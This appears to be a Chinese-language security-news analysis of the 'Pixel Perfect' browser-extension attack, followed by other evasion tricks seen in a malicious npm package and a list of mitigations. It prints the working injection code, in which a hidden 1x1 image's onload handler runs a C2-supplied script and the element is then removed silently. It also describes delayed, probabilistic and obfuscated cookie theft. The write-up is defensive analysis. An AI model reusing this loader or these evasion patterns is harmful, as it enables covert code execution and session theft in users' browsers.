1. 簡介

瀏覽器擴充功能已成為現代網路體驗中不可或缺的一部分,提供了增強的功能和個人化設定。然而,它們對瀏覽器功能的特權存取也使其成為 Malicious actors 的重要目標。這份報告深入探討了一種被稱為「Pixel Perfect」的精密攻擊機制,該機制利用一個看不見的圖片像素,在網頁的環境中注入並執行惡意 JavaScript 程式碼。此攻擊凸顯了瀏覽器擴充功能安全模型和供應鏈完整性的關鍵漏洞,展示了看似無害的功能如何被武器化以進行遠端程式碼執行和資料外洩。

看不見的「Pixel Perfect」入侵:繞過CSP與DOM的隱匿程式碼注入技術 | 資訊安全新聞

2. Pixel Perfect 攻擊機制

根據原始分析 [1] 的詳細描述,「Pixel Perfect」攻擊利用了一種巧妙且強大的技術來繞過瀏覽器安全機制。此攻擊的核心在於動態創建一個 HTML <img> 元素,並帶有特製的 onload 屬性以及一個用於其 src 的 data URI。

2.1. 透過 <img> onload 處理程式的程式碼注入

惡意程式碼被傳遞給瀏覽器擴充功能的 content script,然後該腳本會將其注入到使用者造訪的每個網頁中。命令與控制 (C2) 伺服器將惡意 JavaScript payload 作為字串陣列儲存在瀏覽器的本機存儲中(local storage)。每次頁面載入時, content.js 腳本會取出這些字串,並使用類似於 createImgPixel 的函數來處理它們:

  1. function createImgPixel(element) {
  2. const img = document.createElement("img");
  3. img.style.display = "none";
  4. // The C2 payload becomes an inline onload handler
  5. img.setAttribute("onload", element);
  6. // 1x1 transparent GIF as a data URI is used
  7. img.src = "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7";
  8. return img;
  9. }

createImgPixel 分析:

  • const img = document.createElement("img"); : 在記憶體中創建一個新的 <img> 元素。
  • img.style.display = "none"; : 使圖片不可見,確保攻擊保持隱蔽,且不改變頁面的視覺佈局。
  • img.setAttribute("onload", element); : 這是關鍵步驟。從 C2 伺服器取得的、包含惡意 JavaScript 字串的 element 變數,被設定為圖片 onload 事件處理程式的值。當圖片完成載入時,瀏覽器將執行此屬性中指定的 JavaScript 程式碼。
  • img.src = "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"; : 使用一個 1x1 的透明 GIF 作為 data URI。這很關鍵,因為它消除了載入圖片的網路請求需求。圖片會立即從 data URI 載入,幾乎同時觸發 onload 事件。在某些情況下,當外部腳本載入被封鎖,但 inline 事件處理程式未被嚴格控管時,此技術也有助於繞過內容安全政策 (CSP) 的限制 [1]

2.2. 執行流程與隱蔽技術

完整的執行鏈不僅包括創建圖片,還需確保其快速執行和移除,以最大限度地減少被偵測的可能。 safelyProcessElement 函數協調了此過程:

  1. function safelyProcessElement(element) {
  2. if (element && "string" == typeof element) try {
  3. const div = createImgPixel(element);
  4. const parent = document.body || document.documentElement;
  5. if (!parent) return;
  6. parent.appendChild(div); // Add element to DOM
  7. dispatchLoadEvent(div); // Fire the load event
  8. div.remove(); // Clean up immediately
  9. } catch {} // Fail silently
  10. }

safelyProcessElement 分析:

  • const div = createImgPixel(element); : 創建惡意 <img> 元素。
  • parent.appendChild(div); : 將不可見的圖片附加到 DOM,通常是附加到 <body> <html> 元素。這會讓瀏覽器解析並載入圖片。
  • dispatchLoadEvent(div); : 這行程式碼對於立即執行至關重要。它通過程式方式在圖片上調度一個 load 事件,迫使 onload 處理程式執行,而無需等待瀏覽器的自然事件循環。這確保了惡意程式碼能儘快運行。
  • div.remove(); : 執行後立即將圖片元素從 DOM 中移除。此清理動作進一步增強了隱蔽性,使安全工具或手動檢查更難檢測到被注入的元素。
  • try {} catch {} : 整個過程包裹在一個 try-catch 區塊中,允許惡意腳本在失敗時保持靜默,而不會引發任何可能警醒使用者或安全機制的錯誤 [1]

此技術允許透過透明像素載入的 inline 事件處理程式進行遠端程式碼執行。當 headers 被剝離時,它可以繞過 CSP 限制,因為執行發生在頁面的環境內,且不涉及載入可能被 CSP 封鎖的外部腳本 [1]

graph TD A[C2 Server Stores
Malicious JS Payload] --> B{Browser Extension
Content Script Loaded}; B --> C[Content Script
Retrieves Payload
from Local Storage]; C --> D{"safelyProcessElement(payload)
Called"}; D --> E["createImgPixel(payload)
Creates &lt;img&gt; Element"]; E --> F["img.style.display = &quot;none&quot;"]; E --> G["img.setAttribute(&quot;onload&quot;,
payload)"]; E --> H["img.src =
"data:image/gif;base64,...""]; F & G & H --> I[Invisible &lt;img&gt;
Appended to DOM]; I --> J["dispatchLoadEvent(img)
Triggered"]; J --> K[Malicious JS Payload
Executes via onload]; K --> L["img.remove()
from DOM"]; L --> M[Attack
Completed/Cleaned Up]; style D font-size:14px;

圖 1: Pixel Perfect 攻擊執行流程

3. 更廣泛的環境:瀏覽器擴充功能惡意軟體與供應鏈攻擊

「Pixel Perfect」攻擊是涉及瀏覽器擴充功能的演進中威脅態勢的一個典型例子。惡意瀏覽器擴充功能經常利用複雜的技術來逃避偵測並維持持久性。在其他文章對於這些更廣泛的攻擊向量,特別是關於供應鏈攻擊和高級混淆技術,提供了有價值的見解 [2] [3]

3.1. 供應鏈漏洞

瀏覽器擴充功能惡意軟體經常利用供應鏈漏洞。這通常涉及透過先前受信任擴充功能的靜默版本更新來注入惡意 payload。正如對瀏覽器擴充功能惡意軟體的分析中所強調的那樣,攻擊者可以在最初合法發布多年後引入惡意功能,使得檢測極具挑戰性 [2] 。這凸顯了對擴充功能更新進行持續監控和審查的重要性。

3.2. 進階混淆與規避技術

Malicious actors 採用各種技術來隱藏其真實意圖並逃避分析。 fezbox npm 套件的分析說明了幾種這樣的方法 [3]

3.2.1. 環境檢查

惡意軟體經常包含檢查,以判斷其是否在開發、測試或正式環境中運行。如果 n.isDevelopment() 返回 true ,表示是非正式或分析環境,則惡意執行可能會被中止。這可以防止惡意軟體向安全研究人員或自動化沙箱暴露其真實意圖 [3]

3.2.2. 機率性執行

除了環境檢查之外,一些惡意軟體還加入了機率性執行。例如,一個 c.chance(2 / 3) 機制可能意味著即使環境檢查通過,惡意程式碼也只有三分之二的機率會執行。這種隨機性使檢測變得複雜,因為惡意軟體可能不會在每次分析運行時都觸發,從使其行為更難被一致地識別和分析 [3]

3.2.3. 延遲執行

為了進一步逃避偵測,惡意 payload 經常被包裹在 setTimeout 函數中,將其執行延遲一段特定時間(例如 120 秒)。這種延遲使套件在初始載入和執行階段看起來無害,從而繞過監控即時可疑活動的安全工具。它還有助於惡意軟體比自動化分析系統的典型觀察期存活更久,確保只有在初步審查結束後才交付 payload [3]

3.2.4. Unicode 混淆與資料外洩

攻擊者經常使用 Unicode 跳脫序列(例如,用於 cookie \u0063\u006F\u006F\u006B\u0069\u0065 )來隱藏關鍵字串。這使得若沒有適當的去混淆工具,程式碼難以閱讀和分析。此外,惡意腳本經常直接與 document.cookie 互動,以提取敏感資訊,例如 session tokens 和認證 credentials,然後透過 HTTP 請求或其他隱蔽通道將這些資料外洩到 C2 伺服器 [3]

4. 緩解策略

應對像「Pixel Perfect」這類攻擊所構成的威脅需要多層次的方法:

  • 嚴格的內容安全政策 (CSP): 雖然「Pixel Perfect」攻擊在某些情況下可以繞過 CSP,但一個強大的 CSP(不允許 inline 腳本 ( 'unsafe-inline' ),並將 object-src script-src img-src 限制在可信任來源)可以顯著減少攻擊面。開發人員也應了解 CSP 繞過技術,並確保其政策是全面的。
  • 瀏覽器擴充功能安全審計: 定期且徹底地對瀏覽器擴充功能進行安全審計,無論是開發者還是使用者,都至關重要。這包括審查擴充功能請求的權限,並仔細檢查更新中是否有任何可疑的行為或程式碼變化。
  • 靜態與動態分析: 使用進階的靜態分析工具動態分析工具可以幫助檢測惡意軟體常用的混淆程式碼、環境檢查和延遲執行模式。沙箱環境可以在不危及主機系統的情況下觀察擴充功能行為。
  • 供應鏈安全: 對開發者而言,實施安全的開發實踐,包括審查第三方相依套件和使用安全的套件註冊庫,至關重要。對使用者而言,從官方且信譽良好的市集獲取擴充功能是必要的。
  • 使用者教育: 教育使用者了解安裝不受信任擴充功能的相關風險、審查權限的重要性以及識別網路釣魚嘗試,可以作為一道關鍵的防線。

5. 結論

「Pixel Perfect」攻擊展示了一種透過看不見的圖片像素進行程式碼注入的精密方法,凸顯了 Malicious actors 在利用瀏覽器功能方面持續不斷的獨創性。透過利用 inline onload 處理程式和 data URI,攻擊者可以在保持隱蔽的同時實現遠端程式碼執行,並繞過某些安全控管。當放在瀏覽器擴充功能惡意軟體和供應鏈攻擊的更廣闊環境中來看,很明顯地,結合強大的安全政策、持續監控、進階分析技術以及使用者意識,對於防範此類不斷演變的威脅是不可或缺的。來自原始分析和補充研究的見解都強調了在網路安全防禦中持續保持警覺和適應性的必要性。